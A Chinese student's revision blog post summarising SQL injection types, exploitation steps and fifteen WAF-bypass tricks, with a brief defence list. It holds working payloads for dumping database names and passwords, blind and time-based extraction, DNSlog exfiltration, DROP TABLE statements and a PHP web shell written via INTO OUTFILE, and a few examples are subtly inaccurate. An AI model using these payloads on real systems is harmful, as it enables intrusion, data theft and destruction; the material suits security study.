网安复习之SQL注入总结梳理

185 阅读18分钟

题外话:在本主播长达半年的学习之后,终于将大部分的漏洞啥原理都学了一遍。本来是打算每个阶段写一篇博客的,但是奈何网络安全这门课程的特殊性,经常有些东东无法过审,故而感觉不如笔记,作业来得实在。而且许多东西初学是需要自行消化的,并不能很好的进行一个汇总,再加上在校并不能完全投入网安,只能利用课余时间进行学习,所以博客一直耽搁了。如今主播打算利用暑假,好好完成网安知识点的梳理,争取快速提高自己的竞争力

本篇为主播经过个人理解的总结,如若有误欢迎指出


SQL注入的原理与危害

  • 简述:攻击者通过构造恶意输入,欺骗后端 SQL 服务器解析并执行非预期的 SQL 语句,从而导致数据泄露、篡改或系统受损。

典型危害

  1. 数据泄露

    • 攻击者可获取敏感数据(用户密码、信用卡号、个人信息)。
    • 示例:通过 UNION 查询绕过验证并读取其他表数据。
  2. 数据篡改或删除

    • 修改或删除数据库记录(如用户信息、交易数据)。
    • 示例:执行 DELETE 或 UPDATE 语句破坏数据完整性。
  3. 系统接管

    • 利用数据库的系统命令执行功能(如 SQL Server 的 xp_cmdshell)获取服务器权限。
  4. 持久化后门

    • 注入恶意代码到数据库,长期潜伏并窃取数据。

SQL注入分类

一.按数据类型分类

  • 数字型注入

    • 原理:当应用程序将用户输入直接作为数字型参数拼接到 SQL 语句中,且未做严格的输入验证时,就可能引发数字型注入。在这种情况下,SQL 语句不需要使用引号来包裹参数。
    • 示例:假设存在 SQL 查询语句SELECT * FROM users WHERE id = {user_input},如果用户输入1 OR 1=1,最终执行的 SQL 语句变为SELECT * FROM users WHERE id = 1 OR 1=1 ,由于1=1恒成立,这样就会返回所有用户信息。
  • 字符型注入

    • 原理:在 SQL 语句中,当参数为字符类型时,通常需要用单引号或双引号进行包裹。攻击者通过输入特殊字符,闭合 SQL 语句中的引号,并添加恶意代码,从而改变 SQL 语句原本的逻辑。
    • 示例:若 SQL 查询语句是SELECT * FROM users WHERE username = '{user_input}' ,当用户输入' OR '1'='1时,SQL 语句变成SELECT * FROM users WHERE username = '' OR '1'='1' ,成功绕过用户名验证,获取到相关数据。

二.按注入手法分类

一、联合查询注入(Union-Based SQLi)

核心逻辑:利用 UNION 操作符合并多条查询结果,需满足列数匹配数据类型兼容
攻击步骤

1. 发现注入点(定位可注入参数)
  • 核心逻辑:通过输入特殊字符(如单引号 '、双引号 "、括号 () 等),观察页面响应差异,判断是否存在 SQL 注入漏洞。

  • 实操示例(以 URL 参数 ?id=1 为例):

    • 输入 ?id=1'(单引号闭合测试),若页面报错(如 SQL 语法错误、数据库报错信息),或显示异常(如空白页、内容缺失),则可能存在字符型注入。
    • 输入 ?id=1 and 1=2,若页面返回结果与 ?id=1 不同(如正常有数据,注入后无数据),则可能存在数字型注入。
  • 关键判断:通过响应差异化(报错、内容变化)确认参数是否可控,且能影响 SQL 语句执行逻辑。

2. 判断注入类型(字符型 vs 数字型)
  • 字符型注入

    • 特征:SQL 语句中参数用单引号 / 双引号包裹(如 SELECT * FROM users WHERE id='1')。
    • 测试:输入 ?id=1' OR '1'='1,若页面返回正常数据(或更多数据),说明单引号成功闭合,存在字符型注入。
  • 数字型注入

    • 特征:SQL 语句中参数无引号包裹(如 SELECT * FROM users WHERE id=1)。
    • 测试:输入 ?id=1 OR 1=1,若页面返回所有数据(或异常大量数据),说明逻辑被篡改,存在数字型注入。
3. 判断列数(用 ORDER BY 确定字段数量)
  • 核心逻辑ORDER BY N 用于对结果集按第 N 列排序,若 N 超过实际列数,SQL 会报错。通过递增 N 直到报错,即可确定列数。

  • 实操示例

    • 输入 ?id=1 ORDER BY 1 → 页面正常(列数 ≥1)。
    • 输入 ?id=1 ORDER BY 2 → 页面正常(列数 ≥2)。
    • ...
    • 输入 ?id=1 ORDER BY 5 → 页面报错(列数为 4)。
  • 结论:最终不报错的最大 N 值,即为表的字段数量(列数)

4. 确定回显位(用 UNION SELECT 找数据显示位置)
  • 核心逻辑UNION SELECT 需前后查询的列数、数据类型匹配。通过构造 UNION SELECT 1,2,3...(数字数量 = 列数),观察页面中显示的数字位置,确定哪些列会回显到前端。

  • 实操示例(假设列数为 4):

    • 输入 ?id=0 UNION SELECT 1,2,3,4id=0 让原查询无结果,仅显示 UNION 结果)。
    • 若页面显示 2 和 4,说明第 2、4 列是回显位(后续可替换为敏感数据查询)。
5. 初步信息搜集(用数据库函数查版本、库名等)
  • 核心逻辑:利用数据库内置函数(如 version()database()),替换回显位的数字,查询数据库基础信息。

  • 常见函数(以 MySQL 为例):

    • version():查数据库版本(判断是否 ≥5.0,是否支持 information_schema)。
    • database():查当前数据库名。
    • user():查数据库用户权限。
  • 实操示例(回显位为第 2、4 列):
    输入 ?id=0 UNION SELECT 1,version(),3,database(),页面若显示 5.7.36(版本)和 test_db(库名),则完成基础信息搜集。

6. 深度数据窃取(查库、查表、查字段)
  • 核心逻辑:利用 information_schema(MySQL 5.0+ 内置库), 逐层 “探库→探表→探字段→拖数据”

  • 核心语句(获取某个表详细数据):select 字段 from 库名.表名

  • 步骤拆解

1、 查所有数据库名(探库)

sql

select group_concat(schema_name) from information_schema.schemata;
  • 作用:查询 MySQL 中所有数据库的名称。

  • 关键函数

    • information_schema.schemata:存储所有数据库的元数据。
    • group_concat():将多行结果合并为一行(方便在注入时通过页面回显一次性显示)。
  • 场景:注入时,替换联合查询的回显位,就能看到目标系统有哪些数据库(如 dvwa, mysql, performance_schema)。

2、 查指定数据库的表名(探表)

sql

select group_concat(table_name) from information_schema.tables where table_schema='users';
  • 作用:查询 dvwa 数据库中所有表的名称。
  • 条件where table_schema='users' 限定只查 users 库的表。
  • 场景:知道数据库名后,进一步缩小范围,找到可能存敏感数据的表(如 users, products, logs)。
3、 查指定表的字段名(探字段)

sql

select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
  • 作用:查询 security 库中 users 表的所有字段名。

  • 条件

    • table_schema='security':限定数据库。
    • table_name='users':限定表。
  • 场景:确定目标表后,获取字段名(如 id, username, password),为最终拖数据做准备。

4、 查目标表的详细数据(拖数据)

sql

select group_concat(id,username,password) from security.users;
  • 作用:查询 security 库中 users 表的 idusernamepassword 字段数据,并合并显示。

  • 关键

    • 需提前通过前几步拿到库名(security)、表名(users)、字段名(id, username, password)
    • group_concat() 把多行数据合并为一行,适合注入时通过页面回显一次性获取结果。
注入场景下的完整链路
  1. 联合注入中整合
    攻击者会把这些语句嵌套进联合查询,利用页面回显位展示结果。例如:

    sql

    ?id=0 UNION SELECT 1, 
        (select group_concat(schema_name) 
            from information_schema.schemata), 3, 4;
      
    

    (通过 UNION 把查库名的结果,放到回显位展示。一共四列,其中第二号位置会回显)

  2. 逐层渗透的必要性
    因为攻击者初始不知道库名、表名、字段名,必须先通过 information_schema “探路”,才能精准拿到目标表的敏感数据。

联合注入的核心限制
  1. 列数必须严格匹配UNION 前后查询的列数、数据类型不一致会报错。
  2. 依赖 information_schema:MySQL 5.0 以下版本无此库,需换其他方式(如暴力猜解表名)。
  3. 回显位有限:若前端仅显示部分列,需优先利用可回显的位置注入。

二、盲注(Blind SQLi)

核心逻辑:通过构造条件语句,根据页面响应的布尔值响应时间推断数据。
分类

  1. 布尔盲注(Boolean-Based)

    • 原理:基于条件判断的真假返回不同页面(如 id=1 AND 1=1 正常,id=1 AND 1=2 异常)推断条件是否成立,从而 “盲猜” 数据库信息。因为页面没有直接回显 SQL 结果,只能靠 “条件是否成立” 的间接反馈,所以需要逐字符、逐长度去 “试错”。
1. 判断注入点(确定参数是否可控)
  • 操作:给参数传入特殊字符(如 '"and 1=1and 1=2),观察页面响应。

  • 判断逻辑

    • 若 and 1=1 时页面正常,and 1=2 时页面异常(如空白、报错、内容缺失)→ 存在注入点,且参数能影响 SQL 逻辑。
    • 若响应无差异→ 可能无注入,或需换其他字符测试(如 or、括号等)。
2. 判断注入类型(字符型 / 数字型,决定是否需要闭合)
  • 字符型注入

    • 特征:SQL 语句中参数用单引号 / 双引号包裹(如 SELECT * FROM users WHERE id='1')。
    • 测试:输入 ' and 1=1 --(闭合引号 + 构造条件),若页面正常→ 字符型注入。
  • 数字型注入

    • 特征:SQL 语句中参数无引号包裹(如 SELECT * FROM users WHERE id=1)。
    • 测试:输入 and 1=1,若页面正常→ 数字型注入(无需闭合引号)。
3. 构造差异化条件(区分 “真 / 假” 响应)
  • 核心:构造两个矛盾的条件(如 条件A为真 和 条件A为假),观察页面响应差异,确认 “真 / 假” 对应的响应模式。

  • 示例(假设注入点为 id 参数):

    • 条件为真:?id=1' and 1=1 -- → 页面正常(内容完整)。
    • 条件为假:?id=1' and 1=2 -- → 页面异常(内容缺失 / 空白)。
  • 结论:后续用这种 “正常 = 真,异常 = 假” 的差异,推断其他条件是否成立。

4. 判断数据库类型(选对函数,精准注入)
  • 为什么要判断:不同数据库(MySQL、SQL Server、Oracle 等)的函数语法不同(如截取字符串的函数有差异),需先确定类型,才能正确构造语句。

  • 常用判断方法

    • 测试函数语法:

      • MySQL:?id=1' and version() like '5%' --(用 version() 查版本,判断是否为 MySQL)。
      • SQL Server:?id=1 and @@version like 'Microsoft%' --(用 @@version 查版本)。
5. 用字符串函数 “逐字符猜解” 数据

布尔盲注的核心是 “猜解长度 → 逐字符猜内容”,依赖以下字符串函数(以 MySQL 为例):

函数作用注入场景示例(猜数据库名)
length()判断字符串长度length(database())=5 → 猜数据库名是否 5 个字符
substr()截取字符串(从指定位置开始)substr(database(),1,1)='s' → 猜第 1 个字符是否为 s
mid()同 substr()(MySQL 别名)mid(database(),2,1)='e' → 猜第 2 个字符是否为 e
left()取字符串左侧若干字符left(database(),3)='sec' → 猜前 3 个字符是否为 sec
right()取字符串右侧若干字符right(database(),2)='ty' → 猜最后 2 个字符是否为 ty

猜解流程示例(以 “猜当前数据库名” 为例):

  1. 猜长度

    sql

    ?id=1' and length(database())=5 --  
    
    • 若页面正常→ 数据库名长度为 5;若异常→ 调整数字继续试。
  2. 逐字符猜内容(假设长度为 5,猜第 1 个字符):

    sql

    ?id=1' and substr(database(),1,1)='s' --  
    
    • 若页面正常→ 第 1 个字符是 s;若异常→ 换字符(ab…)继续试。
  3. 重复步骤 2,依次猜第 2、3、4、5 个字符,最终拼出完整数据库名(如 security)。

  4. 时间盲注(Time-Based)

    • 原理:利用 SLEEP() 或 WAITFOR DELAY 函数,根据页面响应延迟判断条件。

    • 示例(MySQL)

      sql

      id=1' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) --  
      -- 若页面延迟5秒,则用户表存在
      
  5. DNSlog 注入

    • 原理:利用数据库的 DNS 解析功能(如 LOAD_FILExp_dirtree),将查询结果拼接为域名并触发 DNS 解析,通过查看 DNSlog 平台的记录获取数据。

    • dns在线平台

      http://www.dnslog.cn
      https://dig.pm/
      http://ceye.io/profile    //需要注册
      http://eyes.sh/dns/      //需要注册
      
    • 攻击流程

      1.  攻击者控制一个 DNS 服务器(或使用公开 DNSlog 平台,如 `dnslog.cn`),获取一个子域名(如 `xxx.dnslog.cn`)。
      2.  构造注入语句,将查询结果(如用户名、密码)拼接为子域名的前缀,触发数据库解析该域名。
      3.  查看 DNSlog 平台的解析记录,提取拼接的敏感数据
      

三、堆叠查询注入(Stacked Queries)

核心逻辑:利用分号(;)分隔多条 SQL 语句,一次性执行多个命令(需数据库支持)。
危险操作

  • 数据篡改id=1; UPDATE users SET password='newpass' WHERE id=1--

  • 表删除id=1; DROP TABLE logs--

  • 文件写入id=1; SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/shell.php'--

限制:多数 Web 框架(如 PHP 的 mysqli_query())默认禁止多语句执行,需配合配置漏洞利用。

四、报错注入(Error-Based SQLi)

核心逻辑:通过构造错误语句,迫使数据库在错误信息中泄露敏感数据。
常见函数

  • MySQLUPDATEXML()EXTRACTVALUE()GEOMETRYCOLLECTION()

  • SQL ServerFLOOR(RAND()*2)CAST() 类型转换错误

示例(MySQL)

sql

id=1' AND UPDATEXML(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1) --  
-- 错误信息:XPATH syntax error: '~admin123~'

五、宽字节注入

核心逻辑:利用数据库字符编码(如 GBK、UTF-8)的宽字节特性,绕过单引号过滤。
攻击条件

  • 应用使用 addslashes() 等函数转义单引号(' 变为 ')。

  • 数据库字符集支持宽字节(如 GBK 的 %df%27 组合为合法字符 é)。

示例

sql

输入:%df' OR 1=1 --  
转义后:%df' OR 1=1 --  
解码为 GBK:é' OR 1=1 -- (单引号被成功闭合)

六、二次注入(Second-Order SQLi)

核心逻辑:将恶意输入先存储到数据库(如用户资料字段),后续查询该数据时触发注入。
攻击场景

  1. 步骤 1:注册用户名 '; DROP TABLE users; --

  2. 步骤 2:当应用执行 SELECT * FROM users WHERE username='恶意用户名' 时,实际执行:

    sql

    SELECT * FROM users WHERE username='' OR 1=1; DROP TABLE users; --'
    

七、预编译语句注入(Bypass Prepared Statements)

核心逻辑:利用驱动程序或框架的漏洞,绕过预编译语句的防护。
常见场景

  • PHP PDO 类型混淆

    php

    // 代码:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");  
    // 攻击:传入数组参数 [array(1, " OR 1=1 --")],导致参数化失效
    
  • JSON 解析漏洞

    json

    // 应用期望 JSON 格式:{"id": 1}  
    // 攻击输入:{"id": "1'; DROP TABLE users; --"}  
    

八、HTTP 头注入

核心逻辑:利用 HTTP 头(如 User-AgentCookie)中的参数进行注入。
示例(Cookie 注入)

sql

原查询:SELECT * FROM sessions WHERE token='{$_COOKIE["token"]}'  
注入后:token=normal_token'; DROP TABLE sessions; --  

九、ORM 注入(对象关系映射注入)

核心逻辑:攻击 ORM 框架(如 Hibernate、Django ORM)的查询语法。
示例(Django ORM)

python

运行

# 代码:User.objects.get(username=request.GET['username'])  
# 攻击输入:?username=admin' OR '1'='1  
# 生成的SQL:SELECT * FROM users WHERE username='admin' OR '1'='1'

十、XML 注入

核心逻辑:篡改应用处理的 XML 数据,影响后续 SQL 查询。
示例

xml

原XML:<user><id>1</id></user>  
注入后:<user><id>1</id><password> OR 1=1 --</password></user>  

十一、NoSQL 注入

核心逻辑:针对 MongoDB、CouchDB 等 NoSQL 数据库的注入攻击。
示例(MongoDB)

javascript

// 原查询:db.users.find({username: req.body.username, password: req.body.password})  
// 攻击输入:{"username": {"$ne": null}, "password": {"$ne": null}}  
// 效果:匹配所有用户名和密码不为 null 的记录

防御要点

  1. 预编译语句 + 参数化查询:彻底防范 SQL 注入(NoSQL 需使用安全查询 API)。
  2. 输入验证:白名单过滤,拒绝特殊字符(如 ';--)。
  3. 最小权限原则:数据库账户仅授予必要权限(如禁止 FILE 权限)。
  4. ORM 安全配置:禁用动态拼接查询,使用安全的查询构建器。

SQL注入绕waf常见手法

1. 函数替换

  • 原理:WAF 通常会对常见的 SQL 敏感函数(如substringascii等)进行拦截,通过替换为功能等效的其他函数,规避检测。

  • 步骤

    1. 识别 WAF 拦截的敏感函数(如substring()
    2. 查找功能相同的替代函数(如substr()substring()功能一致)
    3. 替换后构造 Payload,例如将substring(database(),1,1)替换为substr(database(),1,1)

2. 利用大小写绕过内置 WAF

  • 原理:部分 WAF 规则仅匹配固定大小写的关键字(如仅检测小写select),通过混合大小写破坏规则匹配。

  • 步骤

    1. 定位 SQL 注入中的关键字(如selectunionwhere等)
    2. 对关键字进行大小写混合处理(如SELectUnIoN
    3. 构造 Payload,例如id=1 UnIoN SeLeCt 1,2,database()

3. 内联注释

  • 原理:MySQL 支持内联注释/*!...*/,注释内的内容会被数据库执行,但可能被 WAF 当作注释忽略。

  • 步骤

    1. 确定需要隐藏的关键字或语句(如union select
    2. 将关键字包裹在内联注释中(如/*!UNION*/ /*!SELECT*/
    3. 构造 Payload,例如id=1/*!UNION*/ALL/*!SELECT*/1,2,3

4. 分块传输

  • 原理:利用 HTTP 分块传输编码(Transfer-Encoding: chunked),将 Payload 拆分为多个块发送,WAF 可能无法拼接完整内容进行检测。

  • 步骤

    1. 将完整 Payload 拆分为多个小片段(如union select拆分为union select
    2. 配置 HTTP 请求头,启用分块传输(Transfer-Encoding: chunked
    3. 按分块格式依次发送各片段,服务器接收后会自动拼接执行

5. 脏字符号

  • 原理:在敏感关键字中插入无害符号(如空格、注释符/**/、换行符等),WAF 检测时可能因符号中断匹配,而数据库解析时会忽略这些符号。

  • 步骤

    1. 选择需要插入符号的关键字(如select
    2. 在关键字中间插入符号(如se/**/lects%0Elect%0E为 ASCII 控制字符)
    3. 构造 Payload,例如id=1 union/**/select 1,2,3

6. 反引号包裹

  • 原理:MySQL 中反引号`用于标识表名、列名或函数名,部分 WAF 可能不检测反引号包裹的内容,从而绕过对函数 / 关键字的拦截。

  • 步骤

    1. 确定需要保护的函数或关键字(如selectuser()
    2. 用反引号包裹目标(如se`lect` `user()`
    3. 构造 Payload,例如id=1 union se`lect` 1,2,`user()`

7. 利用截取函数(LPAD/RPAD)

  • 原理LPAD(str,len,padstr)RPAD(str,len,padstr)用于在字符串左右填充字符,可通过构造特定字符串绕过对固定值的检测。

  • 步骤

    1. 确定需要构造的字符(如获取数据库名首字母为p,ASCII 码为 112)
    2. 使用截取函数生成目标字符,例如LPAD('a',1,CHAR(112))可生成'p'
    3. 构造 Payload,例如ascii(substr(database(),1,1))=LPAD('',1,CHAR(112))

8. ASCII 码转换与比较(ascii(mid(...)) in (...)

  • 原理:将字符串按字符转换为 ASCII 码,通过比较 ASCII 值绕过 WAF 对字符串的检测(如避免直接出现'p')。

  • 步骤

    1. 确定需要获取的信息(如数据库名的第一个字符)
    2. mid()截取字符(mid(database(),1,1)获取首字符)
    3. ascii()转换为 ASCII 码(ascii(mid(database(),1,1))
    4. in=进行比较,例如ascii(mid(database(),1,1)) in (112)(112 对应'p'

9. 编码转换

  • 原理:通过 URL 编码、Unicode 编码、HTML 实体编码等方式,将敏感字符转换为编码形式,绕过 WAF 对原始字符的检测,而服务器会自动解码执行。

  • 步骤

    1. 识别 Payload 中的敏感字符(如单引号'、等号=、关键字union
    2. 对敏感字符进行编码(如'的 URL 编码为%27union的 Unicode 编码为%75%6E%69%6F%6E
    3. 构造编码后的 Payload,例如id=1%27%20union%20select%201,2,3--+%27为单引号,%20为空格)

10. 堆叠查询

  • 原理:使用分号;分隔多个 SQL 语句,部分 WAF 可能只检测第一个语句,而数据库会执行所有语句,适用于支持堆叠查询的数据库(如 MySQL)。

  • 步骤

    1. 在原始查询后添加分号;
    2. 拼接第二个恶意语句(如insertupdatedrop等)
    3. 构造 Payload,例如id=1;drop table users--+

11. 利用特殊符号替代空格

  • 原理:SQL 语句中空格可被其他空白符替代(如%09(制表符)、%0A(换行符)、%0C(换页符)等),WAF 可能只检测空格而忽略这些符号。

  • 步骤

    1. 定位 Payload 中的空格位置(如select id from users中的空格)
    2. 用特殊空白符替换空格(如select%09id%0Afrom%0Cusers
    3. 构造 Payload,例如id=1%0Aunion%09select%0C1,2,3

12. 二次编码

  • 原理:对 Payload 进行两次 URL 编码,WAF 可能只解码一次而无法识别恶意内容,服务器会进行二次解码后执行。

  • 步骤

    1. 对原始 Payload 进行第一次 URL 编码(如union select编码为%75%6E%69%6F%6E%20%73%65%6C%65%63%74
    2. 对第一次编码的结果再次编码(如上述结果编码为%25%37%35%25%36%45%25%36%39%25%36%46%25%36%3E%25%32%30%25%37%33%25%36%35%25%36%43%25%36%35%25%36%33%25%37%34
    3. 将二次编码后的 Payload 放入请求中

13. 利用数据库特性(如变量赋值)

  • 原理:通过 MySQL 变量赋值(@)将敏感内容拆分存储,再拼接执行,绕过对完整关键字的检测。

  • 步骤

    1. 定义变量存储拆分的关键字(如@a='unio';@b='n sel';@c='ect'
    2. 拼接变量构造完整语句(如@a@b@cunion select
    3. 构造 Payload,例如id=1;set @a='unio';set @b='n select';prepare stmt from @a@b;execute stmt--+

14. HTTP 参数污染

  • 原理:在 HTTP 请求中重复提交参数(如id=1&id=2 union select 1,2,3),WAF 可能只检测第一个参数,而服务器可能取第二个参数值执行。

  • 步骤

    1. 确定注入点参数(如id
    2. 第一次提交正常参数值(如id=1
    3. 第二次提交包含恶意 Payload 的参数值(如id=2 union select 1,2,3
    4. 构造请求 URL:http://example.com/?id=1&id=2 union select 1,2,3

15. 宽字节注入(针对 GBK 编码)

  • 原理:在 GBK 编码下,%df'会被解析为一个宽字节(而非%df和单引号'),可绕过对单引号的转义(如magic_quotes_gpc)和 WAF 检测。

  • 步骤

    1. 确认目标服务器使用 GBK 编码
    2. %df等字符在单引号前拼接(如%df'
    3. 构造 Payload,例如id=1%df' union select 1,2,3--+